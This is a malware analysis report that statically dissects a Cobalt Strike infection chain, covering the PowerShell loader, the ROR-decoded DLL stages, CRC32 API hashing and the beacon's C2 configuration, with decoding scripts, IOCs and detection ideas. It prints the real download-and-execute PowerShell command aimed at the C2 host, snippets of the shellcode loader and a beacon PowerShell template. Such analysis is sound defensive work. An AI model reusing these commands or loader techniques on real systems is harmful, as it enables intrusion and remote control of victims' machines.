Post

Static Analysis of a Multi-Stage Cobalt Strike Loader

Static Analysis of a Multi-Stage Cobalt Strike Loader

PowerShell Loader and x86 Cobalt Strike Beacon

Authorship and AI Use Note

The investigation, artifact identification, formulation of findings, and technical interpretation of the results were performed by the author. AI was used in this report only for structuring, organization, textual review, and the initial implementation of Python scripts intended to extract and decode data used by the malware. The scripts, their results, and the technical content presented were reviewed and validated. Some technical explanations were also supplemented with AI.

Analysis Context This sample was collected in 2022. No actual infection occurred because the EDR installed on the user’s computer contained the threat at the very first command shown below. Nevertheless, I was able to capture the later stages of this execution and investigate the artifacts. A few days after collection, the C2 server was already offline.

Some investigation findings were omitted from this report to retain the most relevant points in this malware execution chain.


1. Summary

This report presents the results of the static analysis of a malicious chain initiated by a PowerShell command responsible for downloading and executing a second script directly in memory.

The first detection originated from the following command line:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://31.41.244[.]192:80/645gkdkfgd'))"

The content served by the remote address consisted of a PowerShell loader containing a Base64-encoded payload.

The hash is: 33a7648c64588e855b411fe9bcdb51489d4a33e4ab86705661049bb9b65ceddb

This loader uses .NET reflection to resolve native APIs, decodes the Base64 data through CryptStringToBinaryA, writes the content to an executable memory region, and transfers execution flow to the resulting shellcode.

The analysis made it possible to reconstruct the following chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Initial PowerShell command
        ↓
Download and execution of the PowerShell loader
        ↓
Base64 processed by CryptStringToBinaryA
        ↓
Initial x86 shellcode
        ↓
ROR decoding
        ↓
Stage 1 — Intermediate DLL
        ↓
API resolution through CRC32
        ↓
Decoding of embedded PE payload
        ↓
Stage 2 — Cobalt Strike Beacon
        ↓
Configuration decoded with XOR 0x2E
        ↓
HTTP communication with the C2 server

The final stage was identified as an x86 DLL compatible with Cobalt Strike Beacon, containing a reflective loader, HTTP communication configuration, process-injection routines, token manipulation, PowerShell execution, and service operations.

The configuration (which was extracted with a Python script) contains:

1
2
3
4
5
6
C2:       31.41.244.192
Port:     80
GET:      /push
POST:     /submit.php
Sleep:    60000 ms
Jitter:   0

No automatic persistence was identified during the initial flow analyzed. Some capabilities present in the Beacon, such as service creation and process injection, depend on commands subsequently received from the C2 server and should not be interpreted as behaviors executed automatically.


2. Scope and Methodology

2.1 Scope

This report covers static analysis exclusively:

  • inspection of the PowerShell loader;
  • extraction of the Base64 string;
  • analysis of the initial shellcode;
  • reconstruction of the decoding algorithms;
  • extraction of both PE stages;
  • analysis of headers, sections, imports, and exports;
  • reverse engineering in IDA;
  • API resolution through hashes;
  • extraction of the Beacon configuration;
  • identification of implemented capabilities.

The following are outside the scope of this report:

  • debugging with x32dbg;
  • controlled execution of the sample;
  • runtime memory analysis;
  • behavioral analysis;
  • interaction with the C2 server;
  • dynamic validation of tasking;
  • complete decryption of the C2 protocol.

2.2 Tools Used


3. Infection Chain Overview

The chain begins with the following command:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://31.41.244[.]192:80/645gkdkfgd'))"

The elements perform the following functions:

ElementFunction
powershell.exeStarts the PowerShell interpreter
-nopPrevents the user profile from being loaded
-w hiddenHides the PowerShell window
-cExecutes the supplied command
Net.WebClientCreates an HTTP client
DownloadStringDownloads the remote content as text
IEXExecutes the downloaded content as PowerShell

The remote address serves the PowerShell loader analyzed in the following sections.


4. PowerShell Loader Analysis

4.1 General Structure

You can click on the images to see more details in fullscreen

full script.png

Figure 1 — Complete PowerShell loader containing dynamic API resolution and a Base64 payload (cropped).

This artifact can be downloaded on VirusTotal (paid account) or Triage with a free account.

The script begins with:

1
Set-StrictMode -Version 2

It then defines the following functions:

1
2
func_get_proc
func_get_type

The func_get_proc function uses .NET reflection to access internal methods related to:

1
2
GetModuleHandle
GetProcAddress

This makes it possible to resolve native functions without explicitly declaring traditional P/Invoke (Platform Invoke) structures.

The func_get_type function dynamically creates a delegate with System.Reflection.Emit. This delegate is used to call native functions from the addresses obtained through GetProcAddress.

This mechanism allows the script to:

  1. locate an already loaded DLL;
  2. resolve an API by name;
  3. construct the function signature;
  4. convert the address into a delegate;
  5. invoke the API directly from PowerShell.

4.2 Base64 String Processing

The shellcode is stored in the following variable:

1
$var_base64 = '...'

The script loads:

1
crypt32.dll

and resolves the following function:

1
CryptStringToBinaryA

The flag used is:

1
0x1 = CRYPT_STRING_BASE64

Processing takes place in two calls.

First Call

1
2
3
4
5
6
7
8
9
10
11
$var_length = 0

$var_result = $var_string_to_binary.Invoke(
    $var_base64,
    $var_base64.Length,
    0x1,
    [IntPtr]::Zero,
    [Ref]$var_length,
    [IntPtr]::Zero,
    [IntPtr]::Zero
)

Because the pointer intended to receive the bytes is set to null, the first call only calculates the size required to store the decoded Base64 content.

Memory Region Creation

The script resolves:

1
2
CreateFileMappingA
MapViewOfFile

and creates a mapped region with read, write, and execute permissions.

The value used in CreateFileMappingA is 0x08000040, which includes:

1
2
PAGE_EXECUTE_READWRITE
SEC_COMMIT

MapViewOfFile then returns the virtual address where the shellcode will be written.

Second Call

1
2
3
4
5
6
7
8
9
$var_result = $var_string_to_binary.Invoke(
    $var_base64,
    $var_base64.Length,
    0x1,
    $var_map,
    [Ref]$var_length,
    [IntPtr]::Zero,
    [IntPtr]::Zero
)

This time, the address of the mapped region (named $var_map) is supplied as the output buffer, causing CryptStringToBinaryA to write the decoded bytes directly to it.

Execution Transfer

The memory address is converted into a delegate:

1
2
3
4
5
$var_invoke =
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        $var_map,
        (func_get_type @([IntPtr]) ([Void]))
    )

The shellcode is executed with:

1
$var_invoke.Invoke($var_map)

The shellcode base address is also supplied as an argument to the code itself.

7c119fad4d969631b2398403db078882.png

Figure 2 — First call to obtain the size and second call to write the decoded bytes.

4.3 Architecture Selection

The script checks:

1
[IntPtr]::Size

When running in a 32-bit process, the content is executed directly.

In 64-bit processes, the script uses:

1
Start-Job -RunAs32

This indicates that the payload was created for the x86 architecture.


5. Base64 Shellcode Extraction

The script below automatically locates the $var_base64 variable and writes the decoded content to stage0_shellcode.bin.

Script 1 — Base64 Extraction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64
import re
from pathlib import Path

INPUT_PS1 = Path("loader.ps1")
OUTPUT_BIN = Path("stage0_shellcode.bin")

text = INPUT_PS1.read_text(
    encoding="utf-8",
    errors="ignore"
)

match = re.search(
    r"\$var_base64\s*=\s*'([^']+)'",
    text,
    flags=re.DOTALL,
)

if not match:
    raise RuntimeError(
        "The $var_base64 variable was not found."
    )

base64_text = re.sub(
    r"\s+",
    "",
    match.group(1)
)

decoded = base64.b64decode(
    base64_text,
    validate=True
)

OUTPUT_BIN.write_bytes(decoded)

# print("[+] Complete B64: ", base64_text) # Caution: very large string!

print(f"[+] Decoded file saved: {OUTPUT_BIN}")
print(f"[+] Size: {len(decoded)} bytes")
print(f"[+] First bytes: {decoded[:16].hex(' ')}")

The result does not begin with the 4D 5A signature, indicating that the initial content is raw shellcode rather than a directly loadable PE file.

b71734e2f72461f487b7a227d51d6f08.png

Figure 3 — First shellcode bytes after removal of the Base64 layer.

6. Initial Shellcode and Stage 1 Extraction

6.1 Initial Decoder

The shellcode begins by retrieving its own base address:

1
mov eax, [esp+4]

It then accesses internal addresses relative to the base:

1
2
3
mov ecx, [eax+9Ch]
mov edx, [eax+0A0h]
lea esi, [eax+0A4h]

These fields are interpreted as follows:

OffsetFunction
0x9CAddress of the key
0xA0Address containing the encoded region size
0xA4Address of the beginning of the encoded content

The decoding loop is:

1
2
3
4
5
6
7
lodsb
and ecx, 7
ror al, cl
inc ecx
stosb
dec edx
jnz decoder_loop

The behavior can be represented as:

1
2
3
4
5
6
7
8
9
10
base = argument;

key  = *(uint32_t *)(base + 0x9C);
size = *(uint32_t *)(base + 0xA0);
data = base + 0xA4;

for (i = 0; i < size; i++) {
    data[i] = ror8(data[i], key & 7);
    key++;
}

In other words, the code iterates over each data byte and rotates it to the right. The rotation count is obtained through key & 7, which simply limits the key value to a number between 0 and 7. The key is then incremented by 1 for each byte.

The operation is performed in place. After the loop, the region at base + 0xA4 begins with a valid PE header.

8f716c464f5e819fb732b809a2ff5bbd.png

Figure 4 — Disassembly of the beginning of the shellcode, containing the ROR algorithm.

84c9d50b169d5b210c43f05e4100ad56.png

Figure 5 — Region where Stage 1 will be decoded.

Script 2 — Stage 1 Decoding

The script below performs exactly the same operation as the shellcode: it supplies the offsets and then applies the rotations. Finally, it saves the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pathlib import Path
import struct

INPUT_FILE = Path("stage0_shellcode.bin")
OUTPUT_FILE = Path("stage1_decoded.bin")

KEY_OFFSET = 0x9C
SIZE_OFFSET = 0xA0
DATA_OFFSET = 0xA4


def ror8(value: int, count: int) -> int:
    value &= 0xFF
    count &= 7

    if count == 0:
        return value

    return (
        (value >> count) |
        (value << (8 - count))
    ) & 0xFF


data = INPUT_FILE.read_bytes()

key = struct.unpack_from(
    "<I",
    data,
    KEY_OFFSET
)[0]

size = struct.unpack_from(
    "<I",
    data,
    SIZE_OFFSET
)[0]

if DATA_OFFSET + size > len(data):
    raise RuntimeError(
        "The encoded region extends beyond the end of the file."
    )

decoded = bytearray(size)
current_key = key

for i in range(size):
    decoded[i] = ror8(
        data[DATA_OFFSET + i],
        current_key & 7
    )

    current_key = (
        current_key + 1
    ) & 0xFFFFFFFF

if decoded[:2] != b"MZ":
    raise RuntimeError(
        "The result does not have an MZ signature."
    )

OUTPUT_FILE.write_bytes(decoded)

print(f"[+] Initial key: 0x{key:08X}")
print(f"[+] Size: 0x{size:X}")
print(f"[+] File saved: {OUTPUT_FILE}")

7. Stage 1 Analysis

7.1 Identification

FieldValue 
Filestage1_decoded.bin 
SHA-256a41dde7d2733cf4f8c057a188fb5bce82f085b7972aeaa23b5ddb0ef71c1988d 
TypePE32 x86 DLL 
Internal namea32big.dll 
ImageBase0x6B680000 
Entry Point RVA0x13B0 
Sections9 
Size337920 bytes 

The timestamps found in the PE header should be treated with low confidence because they may have been altered during compilation or afterward.

5d5a7faf7b90c0589f407f546f3b81eb.png

Figure 6 — Identification of the Stage 1 format, architecture, and compiler.

0078b8528799bd019248805440c5979d.png

Figure 7 — PE structure and Stage 1 section distribution.

7.2 Exports

The identified exports include:

1
2
3
4
5
6
ARef
DllGetClassObject
DllMain
DllRegisterServer
DllUnregisterServer
Start

The COM-related names may hinder immediate identification of the DLL’s actual purpose.


8. Dynamic API Resolution Through Hashes

8.1 Purpose of the Technique

Stage 1 avoids directly storing the names of several APIs it uses.

Instead of importing all functions normally, the code:

  1. loads a DLL with LoadLibraryW;
  2. locates its Export Directory;
  3. iterates through the exported names;
  4. calculates a hash for each name;
  5. compares the result with constants present in the binary;
  6. calls GetProcAddress when it finds a match;
  7. stores the resolved address for later use.

This technique reduces the amount of information available in the Import Table and makes automated identification of the sample’s capabilities more difficult.


8.2 Identified Algorithm

The resolver function uses reflected CRC32 with:

1
2
3
4
Polynomial:  0xEDB88320
Seed:       0xFFFFFFFF
Final XOR:   not observed
Input:       ASCII name of the exported function

The pseudocode is:

1
2
3
4
5
6
7
8
9
10
11
12
crc = 0xFFFFFFFF;

for each byte in export_name {
    crc ^= byte;

    for (i = 0; i < 8; i++) {
        if (crc & 1)
            crc = (crc >> 1) ^ 0xEDB88320;
        else
            crc >>= 1;
    }
}

This polynomial is also observed in a Wikipedia example.

The comparison with the hardcoded value is direct:

1
if (target_hash == calculated_crc)

When a match occurs, the code calls GetProcAddress using the located export name.

50016c83fbf6730185f72d351fca417a.png

Figure 8 — Implementation of the CRC32 algorithm used for API resolution.

21d6a688edee8ce8bf84020e78b7cbcd.png

Figure 9 — List of calls to the hash resolver function.

8.3 Processed DLLs

Resolution blocks were identified for:

1
2
3
4
kernel32.dll
advapi32.dll
ws2_32.dll
wininet.dll

In IDA, some wide-character names were initially split incorrectly. For example, L"a" L"dvapi32.dll" together represented L"advapi32.dll".

Correctly defining the data as a UTF-16LE string made it possible to recover the complete name.


8.4 Reproducing the Algorithm in Python

The following code reproduces the malware’s algorithm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def malware_crc32_name(name: bytes) -> int:
    crc = 0xFFFFFFFF

    for byte in name:
        crc ^= byte

        for _ in range(8):
            if crc & 1:
                crc = (
                    (crc >> 1) ^ 0xEDB88320
                )
            else:
                crc >>= 1

            crc &= 0xFFFFFFFF

    return crc

The function below iterates through a DLL’s exports and searches for matches:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pefile
from pathlib import Path


def find_export_by_hash(
    dll_path: Path,
    target_hash: int
):
    pe = pefile.PE(str(dll_path))
    matches = []

    for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if not export.name:
            continue

        calculated = malware_crc32_name(
            export.name
        )

        if calculated == target_hash:
            matches.append(
                export.name.decode(
                    "ascii",
                    errors="replace"
                )
            )

    return matches

Usage example:

1
2
3
4
5
6
7
8
9
for target_hash in kernel32_hashes:
    matches = find_export_by_hash(
        kernel32_path,
        target_hash
    )

    print(
        f"0x{target_hash:08X} -> {matches}"
    )

c0737e2729871028e02fff80ffdd3c78.png

Figure 10 — Reproduction of the algorithm and association between hashes and API names (JupyterLab).

8.5 Relevant APIs by Purpose

The complete hash list may contain dozens of entries. To preserve readability, the main body of the report presents only relevant groups.

DLLExamples of resolved APIsPurpose
kernel32.dllCreateFileA/W, CreateFileMappingA/W, MapViewOfFile, CreateNamedPipe, ConnectNamedPipe, CloseHandle, OpenProcess, VirtualAlloc, VirtualProtect, CreateThreadFiles, memory, processes, threads, and named pipes
ws2_32.dllWSAStartup, socket, connect, send, recv, closesocketSocket communication
wininet.dllInternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile, InternetCloseHandleHTTP communication with the C2 server
advapi32.dllOpenSCManagerA/W, CreateServiceA/W, StartServiceA/W, DeleteService, CloseServiceHandleService operations

A resolved API does not necessarily represent an executed API.

EvidencePermitted conclusion
Resolved hashAPI available to the code
XREF to the pointerAPI referenced by a routine
Identified call siteImplemented capability
Understood argumentsProbable or confirmed purpose
Observed executionBehavior actually performed

The complete hash → API mapping is available in Appendix D.


9. Process Control and Anti-Analysis

A routine was identified that enumerates running processes and retrieves information about the parent process of the host process.

The helper function uses CreateToolhelp32Snapshot, Process32FirstW, and Process32NextW to locate the PROCESSENTRY32W structure corresponding to a supplied PID. In the calling flow, the th32ParentProcessID field from the current process entry is used to retrieve the parent process entry.

The routine:

  • obtains the entry corresponding to the current process;
  • extracts its th32ParentProcessID;
  • locates the parent process in the snapshot;
  • checks whether the parent name contains powershell.exe;
  • also queries the parent process of that entry, that is, one additional generation in the process lineage;
  • checks whether that ancestor contains powershell.exe;
  • opens the selected processes with the 0x401 access mask;
  • calls TerminateProcess when OpenProcess returns a valid handle;
  • finally, attempts to terminate the immediate parent process regardless of whether it matches powershell.exe.

The access requested through OpenProcess includes PROCESS_TERMINATE and PROCESS_QUERY_INFORMATION (0x401)

The routine may remove the original launcher and interfere with tools that started PowerShell as a child process.

The most appropriate classification here may be “Process-tree cleanup or evasion with an anti-debugging effect.”

No explicit comparisons with names such as the following were observed:

1
2
3
x32dbg.exe
ollydbg.exe
windbg.exe

851c3af58fdaa819570f8e817f5cba8d.png

Figure 11 — Use of Toolhelp to locate the parent process.

f549f4b89ca7a7a8c0587bc62f49e83a.png

Figure 12 — Routine responsible for terminating ancestor processes.

10. Stage 2 Extraction

The Stage 1 .data section stands out because it is very large, raising the suspicion that additional data may be decoded there. 424a05e40b22bb59439bb939d853bb91.png

Figure 13 - Size of the Stage 1 .data section.

Investigating the beginning of this section revealed some interesting bytes: da27f22a433f4bbebf3d839fb2983e98.png

Figure 14 - Initial bytes of .data.

The marked items show bytes related to the “size” field, similarly to the value examined in the shellcode at the beginning of the chain, followed by a large sequence of bytes.

FieldValue
Encoded VA0x6B68F054
RVA0xF054
Size0x33800

Searching for references to where this array is used revealed an extraction function. ce242b5d01762f9c1b79ebc4ecd2d593.png

Figure 15 - Stage 2 extraction function.

The algorithm used to recover Stage 2 is conceptually similar to the one observed during Stage 1 decoding. The difference is that this extractor does not use a key; the initial count is fixed at 1.

The code:

  1. allocates a memory region;
  2. iterates through 0x33800 bytes;
  3. applies ROR with a variable count;
  4. writes the result;
  5. transfers execution to the decoded content.

Script 3 — Stage 2 Extraction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pathlib import Path

import pefile

INPUT_FILE = Path("stage1_decoded.bin")
OUTPUT_FILE = Path("stage2_decoded.bin")

ENCODED_VA = 0x6B68F054
ENCODED_SIZE = 0x33800
INITIAL_COUNT = 1


def ror8(value: int, count: int) -> int:
    value &= 0xFF
    count &= 7

    if count == 0:
        return value

    return (
        (value >> count) |
        (value << (8 - count))
    ) & 0xFF


data = INPUT_FILE.read_bytes()
pe = pefile.PE(str(INPUT_FILE))

rva = (
    ENCODED_VA -
    pe.OPTIONAL_HEADER.ImageBase
)

file_offset = pe.get_offset_from_rva(rva)

if file_offset + ENCODED_SIZE > len(data):
    raise RuntimeError(
        "The encoded region extends beyond the end of the file."
    )

decoded = bytes(
    ror8(
        data[file_offset + i],
        (INITIAL_COUNT + i) & 7
    )
    for i in range(ENCODED_SIZE)
)

if decoded[:2] != b"MZ":
    raise RuntimeError(
        "The result does not have an MZ signature."
    )

OUTPUT_FILE.write_bytes(decoded)

print(f"[+] RVA: 0x{rva:X}")
print(f"[+] File offset: 0x{file_offset:X}")
print(f"[+] Size: 0x{len(decoded):X}")
print(f"[+] File saved: {OUTPUT_FILE}")

To consolidate the analysis so far, Stage 1:

1) Is a DLL internally identified as a32big.dll.

2) It acts as a loader for the next stage.

3) Contains routines for dynamic API resolution.

4) Decodes Stage 2 with ROR.


11. Stage 2 Analysis

11.1 Identification

FieldValue 
Filestage2_decoded.bin 
SHA-2566318e322c478adefa9b4a16166c3d05201153b5cbd1f2e21327300abdeb5a757 
TypePE32 x86 DLL 
Internal namebeacon.dll 
Export_ReflectiveLoader@4 
ImageBase0x10000000 
Entry Point RVA0x1627A 
Sections4 
Size210944 bytes 

The presence of:

1
2
beacon.dll
_ReflectiveLoader@4

combined with the configuration structure and the identified capabilities is compatible with an x86 Cobalt Strike Beacon.

fad32249832fc21120271f0cff6967c4.png

Figure 16 — Identification of Stage 2 as an x86 DLL in DiE.

b6aaea5b138fd42d2ed0cc1880a9e4b5.png

Figure 17 — _ReflectiveLoader@4 export and Beacon PE structure.

12. Beacon/C2 Configuration Decoding

A function was identified that performs an XOR operation on a 4096-byte array at:

1
2
VA:  0x10032020
RVA: 0x32020

6706352e5972d228b64cb9847ad7b87b.png

Figure 18 — Encoded configuration block in the data section.

The first routine that uses the array executes:

1
2
for (i = 0; i < 4096; i++)
    array[i] ^= 0x2E;

Therefore, another Python script is required to perform the same decoding operation as the malware.


Script 4 — Configuration Extraction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import re
from pathlib import Path

import pefile

INPUT_FILE = Path("stage2_decoded.bin")
OUTPUT_FILE = Path("config_decoded.bin")

CONFIG_VA = 0x10032020
CONFIG_SIZE = 0x1000
XOR_KEY = 0x2E

# Minimum number of characters required to treat a sequence as a string.
MIN_STRING_LENGTH = 3


def extract_ascii_strings(
    data: bytes,
    minimum_length: int = 3,
) -> list[str]:
    pattern = rb"[\x20-\x7E]{%d,}" % minimum_length

    return [
        match.decode("ascii")
        for match in re.findall(pattern, data)
    ]


data = INPUT_FILE.read_bytes()
pe = pefile.PE(str(INPUT_FILE))

rva = (
    CONFIG_VA -
    pe.OPTIONAL_HEADER.ImageBase
)

file_offset = pe.get_offset_from_rva(rva)

if file_offset + CONFIG_SIZE > len(data):
    raise RuntimeError(
        "The configuration extends beyond the end of the file."
    )

encoded = data[
    file_offset:
    file_offset + CONFIG_SIZE
]

decoded = bytes(
    byte ^ XOR_KEY
    for byte in encoded
)

OUTPUT_FILE.write_bytes(decoded)

print(f"[+] Config RVA: 0x{rva:X}")
print(f"[+] File offset: 0x{file_offset:X}")
print(f"[+] File saved: {OUTPUT_FILE}")

ascii_strings = extract_ascii_strings(
    decoded,
    MIN_STRING_LENGTH,
)

print("\n[+] ASCII strings found:")

if ascii_strings:
    for string in ascii_strings:
        print(f"    {string}")
else:
    print("    No ASCII strings found.")

The result is a binary structure rather than a single string. Therefore, it contains:

  • null bytes;
  • field IDs;
  • types;
  • sizes;
  • integers;
  • strings;
  • binary buffers.

For readability, the result was filtered to strings with a minimum length of 3:

5cf4492f05baf0cea095f472a08ebf03.png

Figure 19 — Strings and parameters visible after XOR 0x2E (filtered with a minimum strings length of 3).

13. Extracted Configuration

To further understand the Beacon configuration, the CobaltStrikeParser project was used, which attempts to go beyond readable strings. When config_decoded.bin was supplied as an argument, the script provided some additional details (filtered list):

FieldValue
ProtocolHTTP
C231.41.244.192
Port80
Sleep60000 ms
Jitter0
URI GET/push
URI POST/submit.php
GET verbGET
POST verbPOST
User-AgentMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
Metadata headerCookie
Content-Typeapplication/octet-stream
Spawn-to x86%windir%\syswow64\rundll32.exe
Spawn-to x64%windir%\sysnative\rundll32.exe
Watermark1580103824
ProcInject_ExecuteCreateThread, SetThreadContext, CreateRemoteThread, RtlCreateUserThread
ProcInject_AllocationMethodVirtualAllocEx

14. C2 Communication

Stage 2 uses WININET.dll APIs compatible with:

1
2
3
4
5
6
7
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
InternetQueryDataAvailable
InternetReadFile
InternetCloseHandle

The flow can be summarized as:

1
2
3
4
5
6
7
InternetOpenA(User-Agent)
        ↓
InternetConnectA(31.41.244.192, 80)
        ↓
HttpOpenRequestA(GET, /push)
        ↓
Task retrieval

Data transmission uses:

1
2
3
4
5
HttpOpenRequestA(POST, /submit.php)
        ↓
Content-Type: application/octet-stream
        ↓
HttpSendRequestA

The configuration also indicates that the metadata is:

  1. processed by the Beacon;
  2. encoded in Base64;
  3. inserted into the Cookie header.

The conclusions in this section are derived from the decoded configuration and the static flow of the WinINet routines.

5be34d5a635abc3755b5842080a2ebb6.png

Figure 20 — HTTP session initialization with values obtained from the configuration.

dbd8403882f76d8e4557e7193298aec7.png

Figure 21 — Construction of the Beacon HTTP requests.

15. Stage 2 Capabilities

15.1 Process Injection

APIs such as the following were identified:

1
2
3
4
5
6
7
8
9
10
VirtualAllocEx
WriteProcessMemory
VirtualProtectEx
CreateRemoteThread
GetThreadContext
SetThreadContext
ResumeThread
RtlCreateUserThread
NtQueueApcThread
NtMapViewOfSection

These functions demonstrate support for multiple process-injection and execution techniques.

Static analysis of the routines does not identify which process would be selected as the target.


15.2 Token Manipulation

References to the following were identified:

1
2
3
4
5
6
7
8
9
10
OpenProcessToken
OpenThreadToken
AdjustTokenPrivileges
DuplicateTokenEx
LogonUserA
ImpersonateNamedPipeClient
ImpersonateLoggedOnUser
CreateProcessWithTokenW
CreateProcessWithLogonW
CreateProcessAsUserA

There are also references to:

1
2
3
SeDebugPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege

These capabilities allow:

  • privilege enablement;
  • token duplication;
  • impersonation;
  • execution with alternative credentials.

15.3 Services

The Beacon contains routines for:

1
2
3
4
5
6
OpenSCManager
CreateService
StartService
QueryServiceStatus
DeleteService
CloseServiceHandle

These capabilities are compatible with:

  • remote execution;
  • lateral movement;
  • temporary service creation;
  • payload execution through a service.

The analysis did not confirm that the initial flow creates a persistent service.


15.4 PowerShell Execution and Strings

In Stage 2, templates such as powershell -nop -exec bypass -EncodedCommand "%s" and IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') were identified.

These strings demonstrate support for PowerShell execution after tasking is received.

Some privilege-related APIs were also found: e387266b9fbb7cbe1901475410c2b5f3.png

Figure 22 - Strings related to privilege APIs.

15.5 SHA-256

Stage 2 contains a complete implementation of the SHA-256 algorithm:

  • standard constants;
  • context initialization;
  • block processing;
  • finalization;
  • known test vectors.

The presence of this implementation does not, by itself, prove that it is responsible for C2 channel encryption or configuration decoding.


16. Persistence

No strong static indicators of automatic persistence through Run / RunOnce, Scheduled Tasks, WMI, Startup Folder, COM Hijacking, or DLL Search Order Hijacking were found.

Service functionality may be triggered through tasking, but its presence in the binary does not demonstrate that a service is created during the initial infection.

Conclusion:

Automatic persistence was not confirmed within the scope of this analysis.


17. Anti-Analysis Techniques

TechniqueEvidenceAssessment
Base64 payloadString in PowerShellConfirmed
In-memory executionFile mapping and delegateConfirmed
Stage 1 ROR decoderLoop in the shellcodeConfirmed
Stage 2 ROR decoderLoop in the intermediate DLLConfirmed
API hashingCRC32 over exportsConfirmed
Obfuscated configurationXOR 0x2EConfirmed
Reflective loading_ReflectiveLoader@4Confirmed
Parent-process terminationToolhelp, OpenProcess, and TerminateProcessConfirmed

APIs such as IsDebuggerPresent, DebugBreak, RaiseException, and SetUnhandledExceptionFilter appear in Stage 2, but their uses are compatible with MSVC runtime components. They should not automatically be classified as custom anti-debugging mechanisms.


18. Indicators of Compromise

18.1 Infrastructure

TypeValue
IP31.41.244.192
Port80
Initial URLhttp://31.41.244.192:80/645gkdkfgd
GET URI/push
POST URI/submit.php

18.2 User-Agent

1
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

18.3 Artifacts

ArtifactHash
Stage 1 SHA-256a41dde7d2733cf4f8c057a188fb5bce82f085b7972aeaa23b5ddb0ef71c1988d
Stage 2 SHA-2566318e322c478adefa9b4a16166c3d05201153b5cbd1f2e21327300abdeb5a757

18.4 Other Indicators

1
2
3
4
5
6
9K8J7HG65F467j
a32big.dll
beacon.dll
_ReflectiveLoader@4
%windir%\syswow64\rundll32.exe
%windir%\sysnative\rundll32.exe

19. Detection Opportunities

19.1 PowerShell

Monitor command lines containing combinations such as:

1
2
3
4
5
6
powershell.exe
-nop
-w hidden
IEX
Net.WebClient
DownloadString

19.2 Memory

Monitor PowerShell processes that:

  • resolve CryptStringToBinaryA;
  • create executable file mappings;
  • map regions with write and execute permissions;
  • convert pointers into delegates;
  • transfer execution to private memory.

19.3 Network

Monitor:

1
2
3
31.41.244.192:80
GET /push
POST /submit.php

The old and unusual User-Agent may also be used as a supplementary indicator.

19.4 Behavior

Correlate:

1
2
3
4
5
6
7
PowerShell
→ DownloadString
→ in-memory execution
→ executable file mapping
→ parent-process termination
→ reflective loading
→ WinINet communication

20. Conclusion

The analyzed chain uses PowerShell as the initial download and in-memory execution mechanism.

The loader avoids explicit P/Invoke declarations through .NET reflection, processes a Base64 payload with CryptStringToBinaryA, and writes the resulting shellcode to an executable memory region.

The initial shellcode recovers an x86 DLL through a bit-rotation-based decoder. This DLL acts as an intermediate loader, resolves APIs through CRC32, implements process-tree control mechanisms, and extracts a second embedded PE file.

The second stage was identified as an x86 Cobalt Strike Beacon. Its configuration was recovered through XOR 0x2E and revealed HTTP communication with:

1
2
3
31.41.244.192:80
GET /push
POST /submit.php

The Beacon implements capabilities for:

  • remote execution;
  • process injection;
  • token manipulation;
  • PowerShell execution;
  • service operations;
  • HTTP C2 communication.

The analysis did not confirm automatic persistence or the actual execution of every capability present. These functions should be interpreted as resources available to the operator after communication with the C2 server is established.


Appendix A — Produced Files

1
2
3
4
5
loader.ps1
stage0_shellcode.bin
stage1_decoded.bin
stage2_decoded.bin
config_decoded.bin

Appendix B — Algorithm Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Stage 0:
CryptStringToBinaryA / base64

Stage 1:
ROR8 per byte
Count = incremental key & 7

Stage 2:
ROR8 per byte
Count = (1 + index) & 7
Decoding into a new RWX region
Execution through the base address of the recovered region

Configuration:
XOR each byte with 0x2E

API hashing:
Reflected CRC32
Polynomial 0xEDB88320
Seed 0xFFFFFFFF
No final XOR observed

Appendix C — Summarized Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
powershell.exe
    |
    | DownloadString + IEX
    v
loader.ps1
    |
    | CryptStringToBinaryA
    v
stage0_shellcode.bin
    |
    | ROR decoder
    v
stage1_decoded.bin
    |
    | API hashing / process control / ROR
    v
stage2_decoded.bin
    |
    | ReflectiveLoader / XOR config
    v
Cobalt Strike Beacon
    |
    | HTTP
    v
31.41.244.192:80

Appendix D — Complete API Hash Mapping

↩ Back to reference

kernel32.dll

Hash CRC32API resolvida
0x007F73EFCreateRemoteThread
0x0394BD0EGetModuleFileNameW
0x05C2D077FlushFileBuffers
0x06EE1D63HeapDestroy
0x083851BDReadProcessMemory
0x0AB29637CopyFileW
0x0AE688F8Thread32Next
0x0B635934PeekNamedPipe
0x1038158BSetFilePointer
0x1704C494FreeEnvironmentStringsA
0x17A15D18WriteConsoleW
0x17F91E53LeaveCriticalSection
0x19D17DB2VirtualAllocEx
0x1C812D1EInitializeCriticalSectionAndSpinCount
